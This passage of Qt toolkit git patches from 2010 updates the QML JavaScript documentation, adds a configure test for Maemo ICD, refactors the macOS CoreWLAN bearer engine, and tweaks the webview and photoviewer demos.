the \l {QDeclarativeComponent::status()}{waiting state} -until the script has been retrieved. +The pragma declaration must appear before any JavaScript code excluding comments. + +As they are shared, stateless library files cannot access QML component instance +objects or properties directly, although QML values can be passed as function +parameters. -\section1 Running Script at Startup +\section1 Running JavaScript at Startup -It is occasionally necessary to run a block of JavaScript code at application (or +It is occasionally necessary to run some imperative code at application (or component instance) "startup". While it is tempting to just include the startup script as \e {global code} in an external script file, this can have severe limitations as the QML environment may not have been fully established. For example, some objects @@ -144,10 +172,8 @@ The following QML code shows how to use the \c Component::onCompleted property. \code Rectangle { - Script { - function startupFunction() { - // ... startup code - } + function startupFunction() { + // ... startup code } Component.onCompleted: startupFunction(); @@ -155,21 +181,20 @@ Rectangle { \endcode Any element in a QML file - including nested elements and nested QML component -instances - can use this attached property. If there is more than one script to -execute at startup, they are run sequentially in an undefined order. +instances - can use this attached property. If there is more than one onCompleted +handler to execute at startup, they are run sequentially in an undefined order. -\section1 QML Script Restrictions +\section1 QML JavaScript Restrictions -QML \l Script blocks contain standard JavaScript code. QML introduces the following -restrictions. +QML executes standard JavaScript code, with the following restrictions: \list -\o Script code cannot modify the global object. +\o JavaScript code cannot modify the global object. In QML, the global object is constant - existing properties cannot be modified or deleted, and no new properties may be created. -Most JavaScript programs do not explicitly modify the global object. However, +Most JavaScript programs do not intentionally modify the global object. However, JavaScript's automatic creation of undeclared variables is an implicit modification of the global object, and is prohibited in QML. @@ -197,7 +222,7 @@ that includes the file and line number of the offending code. \o Global code is run in a reduced scope -During startup, if a \l Script block includes an external file with "global" +During startup, if a QML file includes an external JavaScript file with "global" code, it is executed in a scope that contains only the external file itself and the global object. That is, it will not have access to the QML objects and properties it \l {QML Scope}{normally would}. diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc index 5d21fd1..02f9868 100644 --- a/doc/src/declarative/propertybinding.qdoc +++ b/doc/src/declarative/propertybinding.qdoc @@ -67,10 +67,8 @@ expression! Here are some examples of more complex bindings: \code Rectangle { - Script { - function calculateMyHeight() { - return Math.max(otherItem.height, thirdItem.height); - } + function calculateMyHeight() { + return Math.max(otherItem.height, thirdItem.height); } anchors.centerIn: parent diff --git a/doc/src/declarative/qdeclarativereference.qdoc b/doc/src/declarative/qdeclarativereference.qdoc index 01af7f5..b2cfba8 100644 --- a/doc/src/declarative/qdeclarativereference.qdoc +++ b/doc/src/declarative/qdeclarativereference.qdoc @@ -74,7 +74,7 @@ \list \o \l {QML Documents} \o \l {Property Binding} - \o \l {JavaScript Blocks} + \o \l {Integrating JavaScript} \o \l {QML Scope} \o \l {Network Transparency} \o \l {qmlmodels}{Data Models} diff --git a/doc/src/declarative/qtbinding.qdoc b/doc/src/declarative/qtbinding.qdoc index 66d537d..577e69a 100644 --- a/doc/src/declarative/qtbinding.qdoc +++ b/doc/src/declarative/qtbinding.qdoc @@ -90,9 +90,8 @@ the root context is available to all object instances. \section1 Simple Data To expose data to a QML component instance, applications set \l {QDeclarativeContext::setContextProperty()} -{context properties} which are then accessible by name from QML \l {Property Binding}s and -\l {JavaScript Blocks}. The following example shows how to expose a background color to a QML -file. +{context properties} which are then accessible by name from QML \l {Property Binding}s and JavaScript. +The following example shows how to expose a background color to a QML file. \table \row diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc index 218af89..8ec784f 100644 --- a/doc/src/declarative/scope.qdoc +++ b/doc/src/declarative/scope.qdoc @@ -45,8 +45,10 @@ \tableofcontents -\l {Property Binding}s and \l {JavaScript Blocks} are executed in a scope chain automatically -established by QML when a component instance is constructed. QML is a \e {dynamically scoped} +NOTE: This documentation is out of data. + +\l {Property Binding}s and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain +automatically established by QML when a component instance is constructed. QML is a \e {dynamically scoped} language. Different object instances instantiated from the same component can exist in different scope chains. -- cgit v0.12 From b4c01c73ebed43838a1342c17ea129865c9b9a2e Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Fri, 19 Mar 2010 14:45:16 +1000 Subject: Add configure test for Maemo Internet Connection Daemon. Task: QTBUG-9156 --- config.tests/unix/icd/icd.cpp | 55 ++++++++++++++++++++++++++++++++++++++++++ config.tests/unix/icd/icd.pro | 3 +++ configure | 44 +++++++++++++++++++++++++++++++++ src/plugins/bearer/bearer.pro | 10 +++++--- src/plugins/bearer/icd/icd.pro | 4 +-- 5 files changed, 111 insertions(+), 5 deletions(-) create mode 100644 config.tests/unix/icd/icd.cpp create mode 100644 config.tests/unix/icd/icd.pro diff --git a/config.tests/unix/icd/icd.cpp b/config.tests/unix/icd/icd.cpp new file mode 100644 index 0000000..e3701ac --- /dev/null +++ b/config.tests/unix/icd/icd.cpp @@ -0,0 +1,55 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the config.tests of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +//#include +#include + +#include +#include + +int main(int, char **) +{ + dbus_shutdown(); + return 0; +} diff --git a/config.tests/unix/icd/icd.pro b/config.tests/unix/icd/icd.pro new file mode 100644 index 0000000..d736b41 --- /dev/null +++ b/config.tests/unix/icd/icd.pro @@ -0,0 +1,3 @@ +SOURCES = icd.cpp +CONFIG -= qt +mac:CONFIG -= app_bundle diff --git a/configure b/configure index f9351d1..5786764 100755 --- a/configure +++ b/configure @@ -788,6 +788,7 @@ CFG_GRAPHICS_SYSTEM=default CFG_ALSA=auto CFG_PULSEAUDIO=auto CFG_COREWLAN=auto +CFG_ICD=auto # initalize variables used for installation QT_INSTALL_PREFIX= @@ -826,6 +827,10 @@ QT_LIBS_GLIB= QT_CFLAGS_GSTREAMER= QT_LIBS_GSTREAMER= +# flags for icd (Maemo Internet Connection Daemon) +QT_CFLAGS_ICD= +QT_LIBS_ICD= + #------------------------------------------------------------------------------- # check SQL drivers, mouse drivers and decorations available in this package #------------------------------------------------------------------------------- @@ -5149,6 +5154,39 @@ if [ "$PLATFORM_X11" = "yes" -o "$PLATFORM_QWS" = "yes" ]; then CFG_PHONON=yes fi fi + + # auto-detect icd support + if [ "$CFG_GLIB" = "yes" -a "$CFG_ICD" != "no" ]; then + # ICD support has a cyclic dependency on Qt. + if [ -n "$PKG_CONFIG" ]; then + QT_CFLAGS_ICD=`$PKG_CONFIG --cflags dbus-glib-1 gconf-2.0 osso-ic conninet 2>/dev/null` + QT_LIBS_ICD=`$PKG_CONFIG --libs dbus-glib-1 gconf-2.0 osso-ic conninet 2>/dev/null` + QT_CFLAGS_QTNETWORK=`$PKG_CONFIG --cflags QtNetwork 2>/dev/null` + QT_LIBS_QTNETWORK=`$PKG_CONFIG --libs QtNetwork 2>/dev/null` + else + QT_CFLAGS_QTNETOWRK= + QT_LIBS_QTNETWORK= + fi + if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/icd "ICD" $L_FLAGS $I_FLAGS $l_FLAGS $QT_CFLAGS_ICD $QT_LIBS_ICD $QT_CFLAGS_QTNETWORK $QT_LIBS_QTNETWORK; then + [ "$CFG_ICD" = "auto" ] && CFG_ICD=yes + QMakeVar set QT_CFLAGS_ICD "$QT_CFLAGS_ICD" + QMakeVar set QT_LIBS_ICD "$QT_LIBS_ICD" + else + if [ "$CFG_ICD" = "auto" ]; then + CFG_ICD=no + elif [ "$CFG_CONFIGURE_EXIT_ON_ERROR" = "yes" ]; then + # CFG_ICD is "yes" + + echo "The ICD Bearer Management plugin cannot be enabled because dbus-glib-1, gconf-2.0, osso-ic or conninet was not found." + echo " Turn on verbose messaging (-v) to $0 to see the final report." + echo " If you believe this message is in error you may use the continue" + echo " switch (-continue) to $0 to continue." + exit 101 + fi + fi + elif [ "$CFG_GLIB" = "no" ]; then + CFG_ICD=no + fi fi # X11/QWS # x11 @@ -6493,6 +6531,10 @@ if [ "$CFG_COREWLAN" = "yes" ]; then QT_CONFIG="$QT_CONFIG corewlan" fi +if [ "$CFG_ICD" = "yes" ]; then + QT_CONFIG="$QT_CONFIG icd" +fi + # # Some Qt modules are too advanced in C++ for some old compilers # Detect here the platforms where they are known to work. @@ -7218,6 +7260,7 @@ fi [ "$CFG_ALSA" = "no" ] && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_ALSA" [ "$CFG_PULSEAUDIO" = "no" ] && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_PULSEAUDIO" [ "$CFG_COREWLAN" = "no" ] && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_COREWLAN" +[ "$CFG_ICD" = "no" ] && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_ICD" # sort QCONFIG_FLAGS for neatness if we can [ '!' -z "$AWK" ] && QCONFIG_FLAGS=`echo $QCONFIG_FLAGS | $AWK '{ gsub(" ", "\n"); print }' | sort | uniq` @@ -7734,6 +7777,7 @@ echo "Pulse Audio support .... $CFG_PULSEAUDIO" if [ "$PLATFORM_MAC" = "yes" ]; then echo "CoreWlan support ....... $CFG_COREWLAN" fi +echo "ICD support ............ $CFG_ICD" echo [ "$CFG_PTMALLOC" != "no" ] && echo "Use ptmalloc ........... $CFG_PTMALLOC" diff --git a/src/plugins/bearer/bearer.pro b/src/plugins/bearer/bearer.pro index 00be80e..f95e8af 100644 --- a/src/plugins/bearer/bearer.pro +++ b/src/plugins/bearer/bearer.pro @@ -1,14 +1,18 @@ TEMPLATE = subdirs -!maemo6:contains(QT_CONFIG, dbus) { - SUBDIRS += networkmanager generic +contains(QT_CONFIG, dbus) { + contains(QT_CONFIG, icd) { + SUBDIRS += icd + } else { + SUBDIRS += networkmanager generic + } } + #win32:SUBDIRS += nla win32:SUBDIRS += generic win32:!wince*:SUBDIRS += nativewifi macx:contains(QT_CONFIG, corewlan):SUBDIRS += corewlan macx:SUBDIRS += generic symbian:SUBDIRS += symbian -maemo6:contains(QT_CONFIG, dbus):SUBDIRS += icd isEmpty(SUBDIRS):SUBDIRS += generic diff --git a/src/plugins/bearer/icd/icd.pro b/src/plugins/bearer/icd/icd.pro index 5eaf5af..f411de2 100644 --- a/src/plugins/bearer/icd/icd.pro +++ b/src/plugins/bearer/icd/icd.pro @@ -3,8 +3,8 @@ include(../../qpluginbase.pri) QT += network dbus -CONFIG += link_pkgconfig -PKGCONFIG += glib-2.0 dbus-glib-1 gconf-2.0 osso-ic conninet +QMAKE_CXXFLAGS += $$QT_CFLAGS_ICD +LIBS += $$QT_LIBS_ICD HEADERS += qicdengine.h \ monitor.h \ -- cgit v0.12 From 9a41034cf05ad4c149e3a98dc8e39f5f6ad05d28 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Tue, 23 Mar 2010 12:04:41 +1000 Subject: Show loading progress Task-number: QTBUG-9260 --- examples/declarative/webview/content/Mapping/Map.qml | 7 ++++++- examples/declarative/webview/content/Mapping/map.html | 7 ++++++- examples/declarative/webview/googleMaps.qml | 9 +++++++++ 3 files changed, 21 insertions(+), 2 deletions(-) diff --git a/examples/declarative/webview/content/Mapping/Map.qml b/examples/declarative/webview/content/Mapping/Map.qml index 6c3b021..38c42dd 100644 --- a/examples/declarative/webview/content/Mapping/Map.qml +++ b/examples/declarative/webview/content/Mapping/Map.qml @@ -6,16 +6,21 @@ Item { property real latitude: -34.397 property real longitude: 150.644 property string address: "" + property alias status: js.status WebView { id: map anchors.fill: parent url: "map.html" javaScriptWindowObjects: QtObject { + id: js WebView.windowObjectName: "qml" property real lat: page.latitude property real lng: page.longitude property string address: page.address - onAddressChanged: {map.evaluateJavaScript("goToAddress()")} + property string status: "Loading" + onAddressChanged: { if (map.url != "" && map.progress==1) map.evaluateJavaScript("goToAddress()") } } + pressGrabTime: 0 + onLoadFinished: { evaluateJavaScript("goToAddress()"); } } } diff --git a/examples/declarative/webview/content/Mapping/map.html b/examples/declarative/webview/content/Mapping/map.html index 72f426a..a8726fd 100755 --- a/examples/declarative/webview/content/Mapping/map.html +++ b/examples/declarative/webview/content/Mapping/map.html @@ -33,9 +33,14 @@ } if (map) req.bounds = map.getBounds() + window.qml.status = "Loading"; geocoder.geocode(req, function(results, status) { - if (status == google.maps.GeocoderStatus.OK) + if (status == google.maps.GeocoderStatus.OK) { + window.qml.status = "Ready"; goToLatLng(results[0].geometry.location,results[0].geometry.bounds); + } else { + window.qml.status = "Error"; + } }); } } diff --git a/examples/declarative/webview/googleMaps.qml b/examples/declarative/webview/googleMaps.qml index a04fecb..a0926f5 100644 --- a/examples/declarative/webview/googleMaps.qml +++ b/examples/declarative/webview/googleMaps.qml @@ -21,6 +21,7 @@ Map { radius: 5 anchors.bottom: parent.bottom anchors.bottomMargin: 5 + opacity: map.status == "Ready" ? 1 : 0 x: 70 TextInput { id: input @@ -29,4 +30,12 @@ Map { Keys.onReturnPressed: map.address = input.text } } + Text { + id: loading + anchors.centerIn: parent + text: map.status == "Error" ? "Error" : "Loading" + opacity: map.status == "Ready" ? 0 : 1 + font.pixelSize: 30 + Behavior on opacity {NumberAnimation{}} + } } -- cgit v0.12 From 954bb17f9033eee11aec4501fb5a1d382cebe378 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Tue, 23 Mar 2010 12:32:28 +1000 Subject: Quiet unnecessary configure/qmake warnings when EPOCROOT is not set. Warnings are unnecessary when not building for Symbian. Task-number: QTBUG-9156 --- src/plugins/bearer/symbian/symbian.pro | 18 +++++++++-------- src/plugins/phonon/mmf/mmf.pro | 36 ++++++++++++++++++---------------- 2 files changed, 29 insertions(+), 25 deletions(-) diff --git a/src/plugins/bearer/symbian/symbian.pro b/src/plugins/bearer/symbian/symbian.pro index 9613def..f915570 100644 --- a/src/plugins/bearer/symbian/symbian.pro +++ b/src/plugins/bearer/symbian/symbian.pro @@ -10,14 +10,16 @@ SOURCES += symbianengine.cpp \ qnetworksession_impl.cpp \ main.cpp -exists($${EPOCROOT}epoc32/release/winscw/udeb/cmmanager.lib)| \ -exists($${EPOCROOT}epoc32/release/armv5/lib/cmmanager.lib) { - message("Building with SNAP support") - DEFINES += SNAP_FUNCTIONALITY_AVAILABLE - LIBS += -lcmmanager -} else { - message("Building without SNAP support") - LIBS += -lapengine +symbian { + exists($${EPOCROOT}epoc32/release/winscw/udeb/cmmanager.lib)| \ + exists($${EPOCROOT}epoc32/release/armv5/lib/cmmanager.lib) { + message("Building with SNAP support") + DEFINES += SNAP_FUNCTIONALITY_AVAILABLE + LIBS += -lcmmanager + } else { + message("Building without SNAP support") + LIBS += -lapengine + } } INCLUDEPATH += $$APP_LAYER_SYSTEMINCLUDE diff --git a/src/plugins/phonon/mmf/mmf.pro b/src/plugins/phonon/mmf/mmf.pro index da41f18..85415b2 100644 --- a/src/plugins/phonon/mmf/mmf.pro +++ b/src/plugins/phonon/mmf/mmf.pro @@ -77,23 +77,25 @@ SOURCES += \ # Test for whether the build environment supports video rendering to graphics # surfaces. -exists($${EPOCROOT}epoc32/include/platform/videoplayer2.h) { - HEADERS += \ - $$PHONON_MMF_DIR/videooutput_surface.h \ - $$PHONON_MMF_DIR/videoplayer_surface.h - SOURCES += \ - $$PHONON_MMF_DIR/videooutput_surface.cpp \ - $$PHONON_MMF_DIR/videoplayer_surface.cpp - DEFINES += PHONON_MMF_VIDEO_SURFACES -} else { - HEADERS += \ - $$PHONON_MMF_DIR/ancestormovemonitor.h \ - $$PHONON_MMF_DIR/videooutput_dsa.h \ - $$PHONON_MMF_DIR/videoplayer_dsa.h - SOURCES += \ - $$PHONON_MMF_DIR/ancestormovemonitor.cpp \ - $$PHONON_MMF_DIR/videooutput_dsa.cpp \ - $$PHONON_MMF_DIR/videoplayer_dsa.cpp \ +symbian { + exists($${EPOCROOT}epoc32/include/platform/videoplayer2.h) { + HEADERS += \ + $$PHONON_MMF_DIR/videooutput_surface.h \ + $$PHONON_MMF_DIR/videoplayer_surface.h + SOURCES += \ + $$PHONON_MMF_DIR/videooutput_surface.cpp \ + $$PHONON_MMF_DIR/videoplayer_surface.cpp + DEFINES += PHONON_MMF_VIDEO_SURFACES + } else { + HEADERS += \ + $$PHONON_MMF_DIR/ancestormovemonitor.h \ + $$PHONON_MMF_DIR/videooutput_dsa.h \ + $$PHONON_MMF_DIR/videoplayer_dsa.h + SOURCES += \ + $$PHONON_MMF_DIR/ancestormovemonitor.cpp \ + $$PHONON_MMF_DIR/videooutput_dsa.cpp \ + $$PHONON_MMF_DIR/videoplayer_dsa.cpp \ + } } LIBS += -lcone -- cgit v0.12 From 3fa7e7d082de97abfb50d28f25f22185deabd82d Mon Sep 17 00:00:00 2001 From: Lorn Potter Date: Tue, 23 Mar 2010 12:42:55 +1000 Subject: get rid of build warning messages --- src/plugins/bearer/corewlan/qcorewlanengine.mm | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.mm b/src/plugins/bearer/corewlan/qcorewlanengine.mm index 449edbd..5a13de9 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.mm +++ b/src/plugins/bearer/corewlan/qcorewlanengine.mm @@ -84,6 +84,8 @@ QMap networkInterfaces; @end @implementation QNSListener +@synthesize engine; + - (id) init { [locker lock]; @@ -126,12 +128,6 @@ QNSListener *listener = 0; QT_BEGIN_NAMESPACE - -static QString qGetInterfaceType(const QString &interfaceString) -{ - return networkInterfaces.value(interfaceString, QLatin1String("WLAN")); -} - void networkChangeCallback(SCDynamicStoreRef/* store*/, CFArrayRef changedKeys, void *info) { for ( long i = 0; i < CFArrayGetCount(changedKeys); i++) { -- cgit v0.12 From 0cc59083b4480f71020c367b2667b17e3a1e93f5 Mon Sep 17 00:00:00 2001 From: Lorn Potter Date: Tue, 23 Mar 2010 13:06:10 +1000 Subject: fix state reporting for certain wifi networks after associating. --- src/plugins/bearer/corewlan/qcorewlanengine.h | 1 + src/plugins/bearer/corewlan/qcorewlanengine.mm | 168 +++++++++++++------------ 2 files changed, 88 insertions(+), 81 deletions(-) diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.h b/src/plugins/bearer/corewlan/qcorewlanengine.h index 76574a8..2fe8974 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.h +++ b/src/plugins/bearer/corewlan/qcorewlanengine.h @@ -105,6 +105,7 @@ protected: void getUserConfigurations(); QString getNetworkNameFromSsid(const QString &ssid); QString getSsidFromNetworkName(const QString &name); + QStringList foundNetwork(const QString &id, const QString &ssid, const QNetworkConfiguration::StateFlags state, const QString &interfaceName); }; QT_END_NAMESPACE diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.mm b/src/plugins/bearer/corewlan/qcorewlanengine.mm index 5a13de9..af57159 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.mm +++ b/src/plugins/bearer/corewlan/qcorewlanengine.mm @@ -414,6 +414,7 @@ QStringList QCoreWlanEngine::scanForSsids(const QString &interfaceName) CWNetwork *apNetwork; if (!err) { + for(uint row=0; row < [apArray count]; row++ ) { apNetwork = [apArray objectAtIndex:row]; @@ -437,106 +438,110 @@ QStringList QCoreWlanEngine::scanForSsids(const QString &interfaceName) state = QNetworkConfiguration::Undefined; } } + found.append(foundNetwork(id, networkSsid, state, interfaceName)); - if (accessPointConfigurations.contains(id)) { - QNetworkConfigurationPrivatePointer ptr = accessPointConfigurations.value(id); - - bool changed = false; - - ptr->mutex.lock(); - - if (!ptr->isValid) { - ptr->isValid = true; - changed = true; - } - - if (ptr->name != networkSsid) { - ptr->name = networkSsid; - changed = true; - } - - if (ptr->id != id) { - ptr->id = id; - changed = true; - } - - if (ptr->state != state) { - ptr->state = state; - changed = true; - } - - ptr->mutex.unlock(); - - if (changed) { - locker.unlock(); - emit configurationChanged(ptr); - locker.relock(); - } - addedConfigs << networkSsid; - } else { - QNetworkConfigurationPrivatePointer ptr(new QNetworkConfigurationPrivate); - - found.append(id); - ptr->name = networkSsid; - ptr->isValid = true; - ptr->id = id; - ptr->state = state; - ptr->type = QNetworkConfiguration::InternetAccessPoint; - ptr->bearer = QLatin1String("WLAN"); - - accessPointConfigurations.insert(ptr->id, ptr); - configurationInterface.insert(ptr->id, interfaceName); - - locker.unlock(); - emit configurationAdded(ptr); - locker.relock(); - addedConfigs << networkSsid; - } - } - } - } + } //end row + } //end error + } // endwifi power // add known configurations that are not around. QMapIterator > i(userProfiles); while (i.hasNext()) { i.next(); + QString networkName = i.key(); - if(!addedConfigs.contains(networkName)) { + const QString id = QString::number(qHash(QLatin1String("corewlan:") + networkName)); + + if(!found.contains(id)) { + QString networkSsid = getSsidFromNetworkName(networkName); + const QString ssidId = QString::number(qHash(QLatin1String("corewlan:") + networkSsid)); + QNetworkConfiguration::StateFlags state = QNetworkConfiguration::Undefined; + QString interfaceName; QMapIterator ij(i.value()); while (ij.hasNext()) { ij.next(); interfaceName = ij.value(); } - QNetworkConfigurationPrivatePointer ptr(new QNetworkConfigurationPrivate); - const QString id = QString::number(qHash(QLatin1String("corewlan:") + networkName)); - found.append(id); - - ptr->name = networkName; - ptr->isValid = true; - ptr->id = id; - ptr->bearer = QLatin1String("WLAN"); - ptr->type = QNetworkConfiguration::InternetAccessPoint; - QString ssid = getSsidFromNetworkName(networkName); if( [currentInterface.interfaceState intValue] == kCWInterfaceStateRunning) { - if( ssid == qt_mac_NSStringToQString([currentInterface ssid])) { - ptr->state = QNetworkConfiguration::Active; + if( networkSsid == qt_mac_NSStringToQString([currentInterface ssid])) { + state = QNetworkConfiguration::Active; } } - - if(!ptr->state) { - if( addedConfigs.contains(ssid)) { - ptr->state = QNetworkConfiguration::Discovered; + if(state == QNetworkConfiguration::Undefined) { + if( userProfiles.contains(networkName) + && found.contains(ssidId)) { + state = QNetworkConfiguration::Discovered; } } - if(!ptr->state) { - ptr->state = QNetworkConfiguration::Defined; + if(state == QNetworkConfiguration::Undefined) { + state = QNetworkConfiguration::Defined; } - accessPointConfigurations.insert(ptr->id, ptr); - configurationInterface.insert(ptr->id, interfaceName); + + found.append(foundNetwork(id, networkName, state, interfaceName)); + } + } + return found; +} + +QStringList QCoreWlanEngine::foundNetwork(const QString &id, const QString &name, const QNetworkConfiguration::StateFlags state, const QString &interfaceName) +{ + QStringList found; + QMutexLocker locker(&mutex); + if (accessPointConfigurations.contains(id)) { + QNetworkConfigurationPrivatePointer ptr = accessPointConfigurations.value(id); + + bool changed = false; + + ptr->mutex.lock(); + + if (!ptr->isValid) { + ptr->isValid = true; + changed = true; + } + + if (ptr->name != name) { + ptr->name = name; + changed = true; + } + + if (ptr->id != id) { + ptr->id = id; + changed = true; + } + + if (ptr->state != state) { + ptr->state = state; + changed = true; + } + + ptr->mutex.unlock(); + + if (changed) { + locker.unlock(); + emit configurationChanged(ptr); + locker.relock(); } + found.append(id); + } else { + QNetworkConfigurationPrivatePointer ptr(new QNetworkConfigurationPrivate); + + ptr->name = name; + ptr->isValid = true; + ptr->id = id; + ptr->state = state; + ptr->type = QNetworkConfiguration::InternetAccessPoint; + ptr->bearer = QLatin1String("WLAN"); + + accessPointConfigurations.insert(ptr->id, ptr); + configurationInterface.insert(ptr->id, interfaceName); + + locker.unlock(); + emit configurationAdded(ptr); + locker.relock(); + found.append(id); } return found; } @@ -731,10 +736,11 @@ void QCoreWlanEngine::getUserConfigurations() for(uint row=0; row < [wifiInterfaces count]; row++ ) { CWInterface *wifiInterface = [CWInterface interfaceWithName: [wifiInterfaces objectAtIndex:row]]; + NSString *nsInterfaceName = [wifiInterface name]; // add user configured system networks SCDynamicStoreRef dynRef = SCDynamicStoreCreate(kCFAllocatorSystemDefault, (CFStringRef)@"Qt corewlan", nil, nil); - NSDictionary * airportPlist = (NSDictionary *)SCDynamicStoreCopyValue(dynRef, (CFStringRef)[NSString stringWithFormat:@"Setup:/Network/Interface/%@/AirPort", [wifiInterface name]]); + NSDictionary * airportPlist = (NSDictionary *)SCDynamicStoreCopyValue(dynRef, (CFStringRef)[NSString stringWithFormat:@"Setup:/Network/Interface/%@/AirPort", nsInterfaceName]); CFRelease(dynRef); NSDictionary *prefNetDict = [airportPlist objectForKey:@"PreferredNetworks"]; @@ -744,7 +750,7 @@ void QCoreWlanEngine::getUserConfigurations() QString thisSsid = qt_mac_NSStringToQString(ssidkey); if(!userProfiles.contains(thisSsid)) { QMap map; - map.insert(thisSsid, qt_mac_NSStringToQString([wifiInterface name])); + map.insert(thisSsid, qt_mac_NSStringToQString(nsInterfaceName)); userProfiles.insert(thisSsid, map); } } @@ -778,7 +784,7 @@ void QCoreWlanEngine::getUserConfigurations() if(!userProfiles.contains(networkName) && !ssid.isEmpty()) { QMap map; - map.insert(ssid, qt_mac_NSStringToQString([wifiInterface name])); + map.insert(ssid, qt_mac_NSStringToQString(nsInterfaceName)); userProfiles.insert(networkName, map); } } -- cgit v0.12 From a83bed9e2ee062839af072745359038ee499ab43 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Thu, 18 Mar 2010 09:10:37 +1000 Subject: Small photoviewer improvements --- demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml | 5 ++--- demos/declarative/photoviewer/PhotoViewerCore/Button.qml | 6 ++++++ demos/declarative/photoviewer/PhotoViewerCore/Tag.qml | 7 +++++-- 3 files changed, 13 insertions(+), 5 deletions(-) diff --git a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml index fca7232..eb6d1c0 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml @@ -50,8 +50,7 @@ Component { Tag { anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom - frontLabel: tag; backLabel: "Delete"; rotation: Math.random() * (2 * 6 + 1) - 6 - flipped: mainWindow.editMode + frontLabel: tag; backLabel: "Delete"; flipped: mainWindow.editMode } MouseArea { @@ -77,7 +76,7 @@ Component { PropertyChanges { target: photosGridView; interactive: false } PropertyChanges { target: photosListView; interactive: true } PropertyChanges { target: photosShade; opacity: 1 } - PropertyChanges { target: backButton; y: -backTag.height - 8 } + PropertyChanges { target: backButton; y: -backButton.height - 8 } } ] diff --git a/demos/declarative/photoviewer/PhotoViewerCore/Button.qml b/demos/declarative/photoviewer/PhotoViewerCore/Button.qml index fb28314..cdf86af 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/Button.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/Button.qml @@ -4,6 +4,7 @@ Item { id: container property alias label: labelText.text + property string tint: "" signal clicked width: labelText.width + 70 ; height: labelText.height + 18 @@ -16,6 +17,11 @@ Item { Image { anchors.fill: parent; source: "images/cardboard.png"; smooth: true } + Rectangle { + anchors.fill: container; color: container.tint; visible: container.tint != "" + opacity: 0.1; smooth: true + } + Text { id: labelText; font.pixelSize: 15; anchors.centerIn: parent; smooth: true } MouseArea { diff --git a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml index d32fcd0..438bd7c 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml @@ -7,18 +7,21 @@ Flipable { property alias backLabel: backButton.label property int angle: 0 + property int randomAngle: Math.random() * (2 * 6 + 1) - 6 property bool flipped: false signal frontClicked signal backClicked front: Button { - id: frontButton; anchors.centerIn: parent; anchors.verticalCenterOffset: -20 + id: frontButton; rotation: flipable.randomAngle + anchors { centerIn: parent; verticalCenterOffset: -20 } onClicked: flipable.frontClicked() } back: Button { - id: backButton; anchors.centerIn: parent; anchors.verticalCenterOffset: -20 + id: backButton; tint: "red" + anchors { centerIn: parent; verticalCenterOffset: -20 } onClicked: flipable.backClicked() } -- cgit v0.12 From da96ef1a17a27b09129f73c6e7f3134806545d92 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Tue, 23 Mar 2010 13:42:37 +1000 Subject: Editable tag in photoviewer demo. --- .../photoviewer/PhotoViewerCore/AlbumDelegate.qml | 20 ++++----- .../photoviewer/PhotoViewerCore/EditableButton.qml | 49 ++++++++++++++++++++++ .../photoviewer/PhotoViewerCore/Tag.qml | 4 +- .../declarative/photoviewer/PhotoViewerCore/qmldir | 3 +- 4 files changed, 61 insertions(+), 15 deletions(-) create mode 100644 demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml diff --git a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml index eb6d1c0..48914d4 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml @@ -25,8 +25,7 @@ Component { Item { Package.name: 'album' - id: albumWrapper - width: 210; height: 220 